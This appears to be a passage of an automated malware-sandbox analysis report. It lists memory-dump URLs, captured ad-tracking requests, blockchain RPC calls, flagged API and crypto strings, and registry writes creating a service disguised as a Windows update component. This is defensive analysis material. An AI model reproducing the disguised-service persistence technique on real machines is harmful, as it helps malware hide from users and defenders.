"http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005432.00000001.178554.F512D000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsofttimestamppca.crl0xl0j0hhttp://www.microsoft.com/pki/certs/miccodsigpca_08-31-2010.crt0^" - Source: "00000000-00005432.00000001.178554.F5810000.00000004.mdmp") Found URL "http://ww" - Source: "00000000-00005432.00000001.178554.F5810000.00000004.mdmp") Found URL "http://wwropca2011_2011-10-19.crl0aviderlistw" - Source: "00000000-00005432.00000001.178554.F5810000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0u" - Source: "00000000-00005432.00000001.178554.F5898000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0/r$u,ev$f9]mwyprg?j?" - Source: "00000000-00005432.00000001.178554.F5898000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0(vyvhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0microsoadvancedsubmitsamplesconsenttypenonealwaysnevereverydaysundaymondaytuesdaywednesdaythursdayfridaysaturdayscantypequickscanfullscanscandirectionbothincomingoutcomingthreatseverityunknownmoderatehighseverethreatactioncleanquarantineremoveallowuserdefinednoactionblockbsjbv4.0.30319" - Source: "00000000-00005432.00000001.178554.F58CA000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbrhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005432.00000001.178554.F58CA000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0^k*y-g&ui\l!washington1redmond1microsoft" - Source: "00000000-00005432.00000001.178554.F58CA000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt06" - Source: "00000000-00005432.00000001.178554.F58CA000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pgnsoux*7bnamepropnamepropnamepropnamepropnamepropnamepropnamepropnamepropnameproptnamepropnamepropnamepropnamepropnamepropnamepropnamepropnamepropnamepropnamepropnamepropdnamepropnamepropnamepropnamepropnamepropnameprop0namepropnameproptnameprops0w&$" - Source: "00000000-00005432.00000001.178554.F58CA000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0f3f4*3G!]tbP6j2F-XstGt!@DrB$ubOR Priority: i Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8 Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" X-Edge-Shopping-Flag: 1 Accept-Encoding: gzip, deflate, br, zstd Sec-Fetch-Dest: image , GET /setuid?entity=483&code=222166F75FD3671F181970045E3D66DC&gdpr=0&gdpr_consent= HTTP/2 Host: ib.adnxs.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0 Sec-Fetch-Mode: no-cors Sec-Fetch-Storage-Access: active Referer: https://ntp.msn.com/ Sec-Fetch-Site: cross-site Accept-Language: en-US,en;q=0.9 Cookie: anj=dTM7k!M4/8CxrEQF']wIg2E>3f4*3G!]tbP6j2F-XstGt!@DrB$ubOR Priority: i Accept: image/avif image/webp image/apng image/svg+xml image/* */*;q=0.8 Sec-Ch-Ua: "Not:A-Brand";v="99" "Microsoft Edge";v="145" "Chromium";v="145" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" X-Edge-Shopping-Flag: 1 Accept-Encoding: gzip deflate br zstd Sec-Fetch-Dest: image 4d:T1375,Contains base62 string in header "222166F75FD3671F181970045E3D66DC;" in header "GET /mapuid?member=280&user=222166F75FD3671F181970045E3D66DC;&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D222166F75FD3671F181970045E3D66DC%2526gdpr%253D0%2526gdpr_consent%253D HTTP/2Host: m.adnxs.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"X-Edge-Shopping-Flag: 1Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base62 string in header "253D222166F75FD3671F181970045E3D6" in header "GET /mapuid?member=280&user=222166F75FD3671F181970045E3D66DC;&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D222166F75FD3671F181970045E3D66DC%2526gdpr%253D0%2526gdpr_consent%253D HTTP/2Host: m.adnxs.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"X-Edge-Shopping-Flag: 1Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base62 string in header "3D222166F75FD3671F181970045E3D66D" in header "GET /bounce?%2Fmapuid%3Fmember%3D280%26user%3D222166F75FD3671F181970045E3D66DC%3B%26gdpr%3D0%26gdpr_consent%3D%26redir%3Dhttps%253A%252F%252Fm.adnxs.com%252Fseg%253Fadd%253D5159620%2526redir%253Dhttps%25253A%25252F%25252Fib.adnxs.com%25252Fsetuid%25253Fentity%25253D483%252526code%25253D222166F75FD3671F181970045E3D66DC%252526gdpr%25253D0%252526gdpr_consent%25253D HTTP/2Host: m.adnxs.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Cookie: uuid2=5682776640747475913Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"X-Edge-Shopping-Flag: 1Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base62 string in header "25253D222166F75FD3671F181970045E3" in header "GET /bounce?%2Fmapuid%3Fmember%3D280%26user%3D222166F75FD3671F181970045E3D66DC%3B%26gdpr%3D0%26gdpr_consent%3D%26redir%3Dhttps%253A%252F%252Fm.adnxs.com%252Fseg%253Fadd%253D5159620%2526redir%253Dhttps%25253A%25252F%25252Fib.adnxs.com%25252Fsetuid%25253Fentity%25253D483%252526code%25253D222166F75FD3671F181970045E3D66DC%252526gdpr%25253D0%252526gdpr_consent%25253D HTTP/2Host: m.adnxs.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Cookie: uuid2=5682776640747475913Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"X-Edge-Shopping-Flag: 1Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base62 string in header "3D222166F75FD3671F181970045E3D66D" in header "GET /seg?add=5159620&redir=https%3A%2F%2Fib.adnxs.com%2Fsetuid%3Fentity%3D483%26code%3D222166F75FD3671F181970045E3D66DC%26gdpr%3D0%26gdpr_consent%3D HTTP/2Host: m.adnxs.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Cookie: anj=dTM7k!M4/8CxrEQF']wIg2E>3f4*3G!]tbP6j2F-XstGt!@DrB$ubORPriority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"X-Edge-Shopping-Flag: 1Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image"4e:T59d,Found HTTPS POST request to https://polygon-public.nodies.app/ Found HTTPS POST request to https://polygon.lava.build/ Found HTTPS GET request to https://px.ads.linkedin.com/setuid?partner=microsoftSsp&dbredirect=true&dnt=0&gdpr=0&gdpr_consent= Found HTTPS GET request to https://trc.taboola.com/sg/msn/1/cm?taboola_hm=32DFF8A43A9F6A9B15B5EE573B1A6B37&gdpr=0&gdpr_consent= Found HTTPS GET request to https://m.adnxs.com/mapuid?member=280&user=222166F75FD3671F181970045E3D66DC;&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D222166F75FD3671F181970045E3D66DC%2526gdpr%253D0%2526gdpr_consent%253D Found HTTPS GET request to https://m.adnxs.com/bounce?%2Fmapuid%3Fmember%3D280%26user%3D222166F75FD3671F181970045E3D66DC%3B%26gdpr%3D0%26gdpr_consent%3D%26redir%3Dhttps%253A%252F%252Fm.adnxs.com%252Fseg%253Fadd%253D5159620%2526redir%253Dhttps%25253A%25252F%25252Fib.adnxs.com%25252Fsetuid%25253Fentity%25253D483%252526code%25253D222166F75FD3671F181970045E3D66DC%252526gdpr%25253D0%252526gdpr_consent%25253D Found HTTPS GET request to https://m.adnxs.com/seg?add=5159620&redir=https%3A%2F%2Fib.adnxs.com%2Fsetuid%3Fentity%3D483%26code%3D222166F75FD3671F181970045E3D66DC%26gdpr%3D0%26gdpr_consent%3D Found HTTPS GET request to https://ib.adnxs.com/setuid?entity=483&code=222166F75FD3671F181970045E3D66DC&gdpr=0&gdpr_consent=4f:T819,Found registry query API: "RegQueryValueExW" in "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp" Found registry query API: "RegEnumValueW" in "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp" Found registry query API: "RegOpenKeyExW" in "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp" Found registry query API: "RegEnumKeyExW" in "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp" Found registry query API: "RegQueryInfoKeyW" in "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp" Found registry query API: "RegSaveKeyExW" in "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp" Found registry query API: "RegGetValueW" in "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp" Found registry query API: "RegOpenKeyW" in "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp" Found registry query API: "RegSaveKeyW" in "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp" Found registry query API: "RegEnumKeyW" in "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp" Found registry query API: "NtQueryKey" in "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp" Found registry query API: "RegQueryValueExW" in "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp" Found registry query API: "RegEnumValueW" in "00000000-00002720.00000000.178880.5E688000.00000002.mdmp" Found registry query API: "RegOpenKeyExW" in "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp" Found registry query API: "RegEnumKeyExW" in "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp" Found registry query API: "RegQueryInfoKeyW" in "00000000-00002720.00000000.178880.5E688000.00000002.mdmp" Found registry query API: "RegNotifyChangeKeyValue" in "00000000-00002720.00000000.178880.5E688000.00000002.mdmp" Found registry query API: "RegGetValueW" in "00000000-00002720.00000001.179099.17A9A000.00000002.mdmp"50:T8de,"powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00005432) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\\* (UID: 00000000-00005432) "powershell.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00005432) "powershell.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00005432) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00005432) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00005432) "powershell.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00005432) "powershell.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00005432) "powershell.exe" called "FindNextFileW" with parameter v3.0 (UID: 00000000-00005432) "powershell.exe" called "FindNextFileW" with parameter v3.5 (UID: 00000000-00005432) "powershell.exe" called "FindNextFileW" with parameter v4.0.30319 (UID: 00000000-00005432) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\* (UID: 00000000-00005432) "powershell.exe" called "FindNextFileW" with parameter fe2524177eb3088c77be666722039f52 (UID: 00000000-00005432) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\* (UID: 00000000-00005432) "powershell.exe" called "FindNextFileW" with parameter b5ba37e1558ced178a99011a1d659b52 (UID: 00000000-00005432) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\* (UID: 00000000-00005432) "powershell.exe" called "FindNextFileW" with parameter e43dd9c73ab5615e461bf5109c3facd6 (UID: 00000000-00005432) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\* (UID: 00000000-00005432) "powershell.exe" called "FindNextFileW" with parameter 0d59b0e237d7519417de10cd84bda4e7 (UID: 00000000-00005432) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\* (UID: 00000000-00005432)51:T119c,Found string "system.security.cryptography" (Indicator: "System.Security.Cryptography"; Source: "00000000-00002720.00000000.178880.0C870000.00000004.mdmp, 00000000-00002720.00000000.178880.0C890000.00000004.mdmp, 00000000-00002720.00000001.179099.0C8B0000.00000004.mdmp, 00000000-00002720.00000001.179099.0C8D0000.00000004.mdmp, 00000000-00002720.00000001.179099.0C8F0000.00000004.mdmp") Found string "md5cryptoserviceprovider" (Indicator: "md5cryptoserviceprovider"; Source: "00000000-00002720.00000000.178880.0C870000.00000004.mdmp") Found string "rijndaelmanagedtransformmode" (Indicator: "rijndael"; Source: "00000000-00002720.00000000.178880.0C870000.00000004.mdmp") Found string "rijndaelmanagedtransformmode" (Indicator: "Rijndaelmanaged"; Source: "00000000-00002720.00000000.178880.0C870000.00000004.mdmp") Found string "tobase64transform" (Indicator: "base64"; Source: "00000000-00002720.00000000.178880.0C870000.00000004.mdmp") Found string "system.security.cryptography.x509certificates" (Indicator: "System.Security.Cryptography"; Source: "00000000-00002720.00000000.178880.0C870000.00000004.mdmp, 00000000-00002720.00000000.178880.0C890000.00000004.mdmp, 00000000-00002720.00000001.179099.0C8B0000.00000004.mdmp, 00000000-00002720.00000001.179099.0C8D0000.00000004.mdmp, 00000000-00002720.00000001.179099.0C8F0000.00000004.mdmp") Found string "rngcryptoserviceprovider" (Indicator: "rngcryptoserviceprovider"; Source: "00000000-00002720.00000000.178880.0C870000.00000004.mdmp") Found string "frombase64transform" (Indicator: "base64"; Source: "00000000-00002720.00000000.178880.0C890000.00000004.mdmp") Found string "frombase64transformmode" (Indicator: "base64"; Source: "00000000-00002720.00000000.178880.0C890000.00000004.mdmp") Found string "rijndaelmanagedtransform" (Indicator: "rijndael"; Source: "00000000-00002720.00000000.178880.0C890000.00000004.mdmp") Found string "rijndaelmanagedtransform" (Indicator: "Rijndaelmanaged"; Source: "00000000-00002720.00000000.178880.0C890000.00000004.mdmp") Found string "rsacryptoserviceprovider" (Indicator: "RsaCryptoServiceProvider"; Source: "00000000-00002720.00000000.178880.0C890000.00000004.mdmp") Found string "cryptostream" (Indicator: "cryptostream"; Source: "00000000-00002720.00000000.178880.0C890000.00000004.mdmp") Found string "rijndaelmanaged" (Indicator: "rijndael"; Source: "00000000-00002720.00000000.178880.0C890000.00000004.mdmp") Found string "rijndaelmanaged" (Indicator: "Rijndaelmanaged"; Source: "00000000-00002720.00000000.178880.0C890000.00000004.mdmp") Found string "base64formattingoptions" (Indicator: "base64"; Source: "00000000-00002720.00000000.178880.0C890000.00000004.mdmp") Found string "tripledescryptoserviceprovider" (Indicator: "tripledescryptoserviceprovider"; Source: "00000000-00002720.00000000.178880.0C890000.00000004.mdmp") Found string "cryptostreammode" (Indicator: "cryptostream"; Source: "00000000-00002720.00000000.178880.0C890000.00000004.mdmp") Found string "cryptostreammode" (Indicator: "cryptostreammode"; Source: "00000000-00002720.00000000.178880.0C890000.00000004.mdmp") Found string "rijndael" (Indicator: "rijndael"; Source: "00000000-00002720.00000000.178880.0C890000.00000004.mdmp") Found string "d__198" (Indicator: "base64"; Source: "00000000-00002720.00000000.178880.0C970000.00000004.mdmp") Found string "d__148" (Indicator: "base64"; Source: "00000000-00002720.00000000.178880.0C970000.00000004.mdmp") Found string "d__151" (Indicator: "base64"; Source: "00000000-00002720.00000000.178880.0C970000.00000004.mdmp") Found string "d__484" (Indicator: "base64"; Source: "00000000-00002720.00000000.178880.0C970000.00000004.mdmp") Found string "d__110" (Indicator: "base64"; Source: "00000000-00002720.00000000.178880.0C970000.00000004.mdmp") Found string "d__37" (Indicator: "base64"; Source: "00000000-00002720.00000000.178880.0C970000.00000004.mdmp") Found string "d__487" (Indicator: "base64"; Source: "00000000-00002720.00000000.178880.0C970000.00000004.mdmp") Found string "d__27" (Indicator: "base64"; Source: "00000000-00002720.00000000.178880.0C970000.00000004.mdmp") Found string "xmlrawwriterbase64encoder" (Indicator: "base64"; Source: "00000000-00002720.00000000.178880.0C970000.00000004.mdmp")52:T4da,Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp")53:T7aa,Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API "GetTempFileNameW" (Indicator: "GetTempFileName"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API "0GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API "0GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API "GetFileVersionInfoW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API "GetFileVersionInfoExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API "GetFileAttributesExW" (Indicator: "GetFileAttributes"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp")54:T5b6,Found string "passwordderivebytes" (Indicator: "password"; Source: "00000000-00002720.00000000.178880.0C890000.00000004.mdmp") Found string "passwordencodingmethod" (Indicator: "password"; Source: "00000000-00002720.00000000.178880.0C970000.00000004.mdmp") Found string "dsmakepasswordcredentials" (Indicator: "password"; Source: "00000000-00002720.00000000.178880.0C970000.00000004.mdmp") Found string "dsfreepasswordcredentials" (Indicator: "password"; Source: "00000000-00002720.00000000.178880.0C970000.00000004.mdmp") Found string "sha1fornonsecretpurposes" (Indicator: "secret"; Source: "00000000-00002720.00000001.179099.0C8B0000.00000004.mdmp") Found string "passwordpropertytextattribute" (Indicator: "password"; Source: "00000000-00002720.00000001.179099.0C8B0000.00000004.mdmp") Found string "secretagreementflags" (Indicator: "secret"; Source: "00000000-00002720.00000001.179099.0C8D0000.00000004.mdmp") Found string "safencryptsecrethandle" (Indicator: "secret"; Source: "00000000-00002720.00000001.179099.0C8D0000.00000004.mdmp") Found string "passwordauthenticationmechanism" (Indicator: "password"; Source: "00000000-00002720.00000001.179099.0C930000.00000004.mdmp") Found string "adminpasswordstatus" (Indicator: "password"; Source: "00000000-00002720.00000001.179099.0C9C0000.00000004.mdmp") Found string "resetcomputermachinepasswordcommand" (Indicator: "password"; Source: "00000000-00002720.00000001.179099.0C9C0000.00000004.mdmp")55:T6da,Found string "\Device\HarddiskVolume2\Windows\System32\sc.exe" (Indicator: "\Device\"; Source: "00000000-00001444.00000000.184248.FA7D0000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\reg.exe" (Indicator: "\Device\"; Source: "00000000-00001460.00000000.183278.26470000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" (Indicator: "\Device\"; Source: "00000000-00002720.00000000.178880.CFBF0000.00000004.mdmp, 00000000-00002720.00000001.179099.CFBF0000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00002720.00000000.178880.CFBF0000.00000004.mdmp, 00000000-00002720.00000001.179099.CFBF0000.00000004.mdmp") Found string "\Device\HarddiskVolume2\DosDevices\C:\??\Volume{815ead30-0000-0000-0000-501f00000000}" (Indicator: "\Device\"; Source: "00000000-00002720.00000000.178880.E92D0000.00000004.mdmp") Found string "\Device\HarddiskVolume2\DosDevices\C:\??\Volume{815ead30-0000-0000-0000-501f00000000}" (Indicator: "\DosDevices\"; Source: "00000000-00002720.00000000.178880.E92D0000.00000004.mdmp") Found string "\Device\HarddiskVolume2" (Indicator: "\Device\"; Source: "00000000-00002720.00000000.178880.E92D0000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\reg.exe" (Indicator: "\Device\"; Source: "00000000-00003756.00000000.184897.0ECC0000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\reg.exe" (Indicator: "\Device\"; Source: "00000000-00003776.00000000.181030.8E070000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\sc.exe" (Indicator: "\Device\"; Source: "00000000-00004172.00000000.182636.B8320000.00000004.mdmp")56:T4e9,Found reference to API "GetLengthSid" (Indicator: "GetLengthSid"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API "CopySid" (Indicator: "CopySid"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API "InitializeAcl" (Indicator: "InitializeAcl"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API "DuplicateToken" (Indicator: "DuplicateToken"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API "SetEntriesInAclW" (Indicator: "SetEntriesInAcl"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp")57:Tc1d,"reg.exe" (Access type: "CREATE"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\ZEAMKXFPRC") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\ZEAMKXFPRC"; Key: "PRESHUTDOWNTIMEOUT"; Value: "80EE360000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\ZEAMKXFPRC"; Key: "SVCHOSTSPLITDISABLE"; Value: "0100000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\ZEAMKXFPRC"; Key: "DISPLAYNAME"; Value: "@%systemroot%\system32\usocore.dll,-101") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\ZEAMKXFPRC"; Key: "ERRORCONTROL"; Value: "0100000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\ZEAMKXFPRC"; Key: "IMAGEPATH"; Value: "%systemroot%\system32\svchost.exe -k netsvcs") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\ZEAMKXFPRC"; Key: "START"; Value: "0400000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\ZEAMKXFPRC"; Key: "TYPE"; Value: "2000000000") "reg.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\ZEAMKXFPRC"; Key: "DESCRIPTION"; Value: 